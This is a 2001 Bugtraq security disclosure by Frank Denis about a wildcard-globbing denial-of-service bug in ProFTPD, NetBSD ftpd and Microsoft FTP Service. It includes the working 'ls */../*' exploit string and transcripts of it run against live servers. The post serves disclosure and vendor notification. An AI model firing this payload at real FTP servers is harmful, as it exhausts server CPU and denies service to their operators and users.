Bugtraq mailing list archives
Multiple vendors FTP denial of service
From: "Frank DENIS (Jedi/Sector One)" <j () 4U NET>
Date: Thu, 15 Mar 2001 09:34:09 +0100
- Proftpd built-in 'ls' command has a globbing bug that allows remote denial-of-service. Here's a simple exploit, tested on the Proftpd site : $ ftp ftp.proftpd.org ... Name (ftp.proftpd.org:j): ftp ... 230 Anonymous access granted, restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 227 Entering Passive Mode (216,10,40,219,4,111). 421 Service not available, remote server timed out. Connection closed That command takes 100% CPU time on the server. It can lead into an easy DOS even if few remote simultanous connections are allowed. Other FTP servers may be concerned as well. Here are various tries : - NetBSD FTP showed the same behavior than Proftpd : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 200 EPRT command successful. (long delay) 421 Service not available, remote server timed out. Connection closed So NetBSD-ftpd 20000723a may also consume 100% cpu time, resulting in a possible DOS. Other BSD FTP may be affected as well. - Microsoft FTP Service (Version 5.0) seems also confused by the command : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 500 'EPSV': command not understood 227 Entering Passive Mode (207,46,133,140,4,223). 200 PORT command successful. 150 Opening ASCII mode data connection for file list. (very long delay... nothing happens...) - Publicfile refuses the command : ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../* 227 =131,193,178,181,97,222 550 Sorry, I can't open that file: file does not exist. - Wu-FTPd 2.6.1 is not vulnerable. Only the result of 'ls *' is computed and displayed. - PureFTPd (any version) is not vulnerable. Result is "Simplified wildcard expression to *" and the 'ls *' output. Maintainers of vulnerable servers have been warned of this bug. -- -=- Frank DENIS aka Jedi/Sector One < spam () jedi claranet fr > -=- LINAGORA SA (Paris, France) : http://www.linagora.com
Current thread:
- Multiple vendors FTP denial of service Frank DENIS (Jedi/Sector One) (Mar 15)
- Re: Multiple vendors FTP denial of service Jeff Dafoe (Mar 16)
- Re: Multiple vendors FTP denial of service jedi (Mar 16)
- Re: Multiple vendors FTP denial of service Daniel Roesen (Mar 16)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 16)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 19)
- Bash memory exhaustion (was Re: Multiple vendors FTP denial of service) Nick Lamb (Mar 20)
- Re: Multiple vendors FTP denial of service The Flying Hamster (Mar 21)
- Re: Multiple vendors FTP denial of service Elias Levy (Mar 19)
- Re: Multiple vendors FTP denial of service Mike Gleason (Mar 16)
- Re: Multiple vendors FTP denial of service Crist Clark (Mar 19)
- Re: Multiple vendors FTP denial of service JT (Mar 19)
(Thread continues...)
- Re: Multiple vendors FTP denial of service Jeff Dafoe (Mar 16)